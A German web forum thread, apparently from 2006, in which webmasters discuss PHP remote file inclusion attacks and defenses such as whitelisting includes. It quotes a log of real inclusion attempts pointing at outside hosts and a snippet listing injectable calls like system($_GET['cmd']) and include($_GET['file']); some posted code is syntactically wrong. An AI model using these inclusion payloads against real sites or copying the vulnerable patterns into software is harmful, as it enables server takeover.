'Include-Attacken'

Hi @all!

Ich will alle Webmaster unter euch darauf aufmerksam machen, dass Include-Attacken erstaunlich oft ausprobiert werden.
Damit meine ich, dass bestimmte Leute ganz gezielt nach PHP-Seiten suchen, die andere Seiten inkludieren, so wie z.B. meine eigene es macht: Main.php?inc=X

In diesem Fall wird X inkludiert. Sofern man sein Skript nicht besonders geschützt hat, ist es dem Hacker nun möglich, Skripte von seinem eigenen Server zu inkludieren. Dazu gibt er als X z.B. http://irgendwas.xx/hack.txt ein. Alle PHP-Blöcke in dieser Datei werden als PHP-Code auf dem eigenen Server ausgeführt.

Wozu ich das euch jetzt alles erzähle? Weil das verdammt oft passiert.
Vor 2 Tagen habe ich in meiner Website eingebaut, dass jeglicher fehlerhafter Zugriff geloggt wird und ich somit die Möglichkeit habe, Angriffe zurückzuverfolgen oder gar rechtliche Schritte gegen gewisse Leute einleiten kann.

Das ist mein aktueller Log, der seit dem 25.01 um ca. 20:00 Uhr geführt wird:
Code:
25.01.2006, 21:01:48 | IP: 62.214.98.X | Fehler: [404] Jemand wollte die nicht vorhandene Seite "http://katytaylor net/images/hi txt?" anzeigen (Main.php?inc=http://katytaylor net/images/hi txt?)
25.01.2006, 21:10:05 | IP: 62.214.98.X | Fehler: [404] Jemand wollte die nicht vorhandene Seite "http://katytaylor net/images/hi txt?" anzeigen (Main.php?inc=http://katytaylor net/images/hi txt?)
25.01.2006, 21:22:43 | IP: 62.214.98.X | Fehler: [404] Jemand wollte die nicht vorhandene Seite "http://katytaylor net/images/hi txt?" anzeigen (Main.php?inc=http://katytaylor net/images/hi txt?)
25.01.2006, 21:22:43 | IP: 62.214.98.X | Fehler: [404] Jemand wollte die nicht vorhandene Seite "http://katytaylor net/images/hi txt?" anzeigen (Main.php?inc=http://katytaylor net/images/hi txt?)
26.01.2006, 15:50:35 | IP: 85.99.234.XX | Fehler: [404] Jemand wollte die nicht vorhandene Seite "http://members lycos co uk/bilinmeyenler222/k txt?" anzeigen (Main.php?inc=http://members lycos co uk/bilinmeyenler222/k txt?)

Die letzte Stelle der IP-Addresse habe ich selbst entfernt.
(Punkte wurden aus der URL autom. entfernt.)

Wie man an dieser Datei sieht (http://members.lycos.co.uk/bilinmeyenler222/k.txt) verwenden diese Noobs noch nicht mal ihre eigenen PHP-Skripte!

Ich hoffe so mancher von euch wird nun seine Website nochmal gründlich untersuchen.
Wenn Ihr wollt könnte ihr ja auf meiner Homepage mal nach Lücken suchen *g*...




MfG, BattleMaker
 
Es wird oft versucht... aber denke mal auch meine Seite/Seiten sind in der hinsicht gut geschützt...

denke mal
PHP:
switch($_GET[section])
{
a : include(a.php); break;
b : include(b.php); break;
default: default.php break;
}
(hoffe sind jetzt keine syntax fehler drin)
okay an der stelle "switch($_GET[section])" kann man noch die variable mit addslashs bearbeiten... aber sonst, sollte es doch sicher sein... oder irre ich mich da?

p.s. nicht wundern hast jetzt von mir ein paar log einträge, wollte wat testen :D
 
Hi!

Ich verstehe nich ganz wie der Angriff funktioniert.

Meinst du das wenn oben in der URLeiste ein inc getätigt wird der Angreifer einfach die url abändert und er kann sein Script auf deinem Server laufen lassen OO?!

Das wär ja n Bug der übelsten Sorte.

Klär mich doch bitte auf wenn du magst.

MfG,

TKo?
 
Oh...
Wie kommts das ich davon noch nie was gehört habe?
Bin gespannt was man dagegen tun kann,gerade wenn man selbst auf includes angewiesen ist :)

Kommt in meine Sammlung,
ThX&MfG;

TK
 
du bist auf jeden fall sicher wenn du feste dateien anstatt variable includest.

beispiel:
PHP:
<?php
include("bla.php")
?>

ist sicherer als:
PHP:
<?php
include($a)
?>

wenn $a jedoch vorher ein fester wert übergeben wird sollte es nicht klappen
 
Ich mach sowas eigentlich nie über $_GET[],
sondern wenn ich sowas mache lasse ich ein hiddenfeld mit wert in einer form abschicken und die action setz ich dann auf die Seite die es bekommen soll.
Kann man den Post auch anzapfen also einen form auf meine Seite abschicken??
 
Moin, ist zwar schon bissel alt hier aber egal.

Hat einer von euch ne Ahnung ob es irgendwie möglich ist noch fremde Dateien zu includen wenn ich vorher mit file_exists prüfe ob die GET Datei existiert?
Weil so wie ich das sehe gibt file_exists nur true zurück wenn die datei auch auf dem eigenen Server liegt. Oder sehe ich da was falsch?
 
Ich glaube kaum das Jemand mal irgendetwas "Gemeines" Includen kann.
Nimmt doch einfach mal eine Fallunterscheidung wie Switch. Falls jetzt Jemand folgendes einfügen will: index.php?inc=seite3.php oder index.php?inc=böse.txt, wird er keinen Erfolg haben, denn anstatt z.B. böse.txt zu includen, wird index2.php Includet.
Irgendwie muss ja mit den Wert, den man bekommt gearbeitet werden.

Code:
$inc = $_GET['inc'];
  switch($inc)
  {
     case 'seite1':
                 include 'seite1.php';
                 break;
      case 'seite2':
                 include 'seite2.php';
                 break;
      default:
                 include 'index2.php';
                 break;
 
So genannte File Inclusions, sind bei älteren PHP Server wirklich möglich.

Konnte einmal live sehen, wie ein "Freund" ne Shell in ein CMS includet hat.
Der Bug lag darin, dass der Server die Fremde Datei (txt - <?php ) geparst hat.

Aktuelle FileInclusions, auch wenn sie auf Seiten wie milworm etc. gehandelt werden, funktionieren bei den neuen PHP Versionen nicht mehr (zumindest kenn ich kein aktuelles Bsp.).
 
Also hm wenn ich das schon mit dem switch case machen sollte würde ich es wenn dann so relaisieren(Erspart ne menge Code ;)):

Code:
$inc = $_GET['inc'];
  switch($inc)
  {
     case 'seite1':
     case 'seite2':
       include($_GET['inc']);
     break;
     default:
       // not found
     break;

Aber ich wollte nur wissen ob man das file_exists auch wirklich nicht umgehen kann.

@stone.dr
Ich weis nicht was du mit File Inclusions meinst aber das was ich daruntzer verstehe: Fremdes Scipte auf dem Server einbinden das geht sehr wohl noch mit den neusten PHP versionen!
 
Original von Sjune
Code:
$inc = $_GET['inc'];
  switch($inc)
  {
     case 'seite1':
     case 'seite2':
       include($_GET['inc']);
     break;
     default:
       // not found
     break;

PHP:
 switch(addslashs($_GET['inc']))
 {
     case 'seite1': include(seite1.php); break;
     case 'seite2': include(seite2.php); break;

     default: include(default.php); break;
}
so sollte es wohl am besten sein gruß
 
joa, man kann aber irgendwo in der php.ini abschalten dass man dateien von anderen servern in php öffnen/includen kann wenn ich mich nich ganz irre
 
Original von Sjune
Ich weis nicht was du mit File Inclusions meinst aber das was ich daruntzer verstehe: Fremdes Scipte auf dem Server einbinden das geht sehr wohl noch mit den neusten PHP versionen!

Du meinst sicher die Sicherheitslücke, die vor einiger Zeit bei den Webservern mit PHP aufgetaucht ist!? Dort konntest du dann die Konfigurationswerte über eine ähnliche Methode ändern und/oder Zugriff auf den Server direkt erhalten.

Anderseits gibt es da noch die SQL-Injections, die manchmal funktionieren.

Aber es kommt immer auf die Programmierung an. Z.B.: bei einer Fallunterscheidung wie ich sie aufgeführt hatte, wäre es nicht möglich ein böses Script einzufügen.
Anderseits könnte ich mir nicht vorstellen wie du nun deine bösen Scripts includen könntest. Ein direkten PHP-Code anstatt der Variabel wird doch nicht so einfach ausgeführt.

Original von Sjune
Also hm wenn ich das schon mit dem switch case machen sollte würde ich es wenn dann so relaisieren(Erspart ne menge Code ;)):

Code:
$inc = $_GET['inc'];
  switch($inc)
  {
     case 'seite1':
     case 'seite2':
       include($_GET['inc']);
     break;
     default:
       // not found
     break;

Würde dir aber kaum was bringen. Du hast Code an der falschen Stelle gespart.
Die "//..." sind übrigens Kommentare und werden in PHP nicht ausgeführt. Somit hast du kein default.
 
Hallo,
zu file_exists: Dazu habe ich unterschiedliche Erfahrungen gemacht. Manchmal gibt es True zurück, bei einer externen Datei, manchmal endet es aber in einem Error.

Wenn aber jmd. auf dem gleichen Webspace einen Account hat, würde file_exists zu Problemen führen.

Denn "../kunde2/boese.txt" existiert und würde dann per include geladen werden, obwohl die Datei gar nicht von dir stammt.

Ein weiteres Problem wären rekursive Abfragen etc.
Verwende mal die Suchfunktion, hier im Board ist ein Thread, wo ich dies recht genau beschreibe
 
Frage: Ich kenne PHP nur als brave Skriptsprache mit dem man ein bischen HTML-Code verschicken kann. Ist denn ein fremdes Skript in der Lage ernsthaften Schaden anzurichten?
 
im schlimmsten fall kann das script den ganzen server übernehmen, oder "nur" zugang zu daten verschaffen die nicht öffentlich werden sollten usw... hatte mal ne nette toolbox für sowas geschrieben als ich jemandem mal gezeigt habe wie gegfährlich sowas ist.
 
Hat du die noch irgendwo rumliegen? Ich muss mich demnächst nämlich wieder mit PHP beschäftigen und die Sicherheit soll natürlich auch nicht zu kurz kommen.
 
PHP:
<?php
// Gefaehrliche Funktionen
echo system($_GET['cmd']);
echo exec($_GET['cmd']);
passthru($_GET['cmd']);
$handler_proc = proc_open($_GET['cmd']);
$handler_popen = popen($_GET['cmd']);
// ... usw

// kann z.b. durch:
include($_GET['file']);
require($_GET['file']);
eval($_GET['code']);
// ... usw entstehen

// Dateien auslesen, z.b. Configs mit Passwoertern
highlight_file($_GET['file']);
show_source($_GET['file']);
// ... usw

// => immer die Eingaben, die durch den User verändert werden
// => überprüfen
?>
 
Zurück
Oben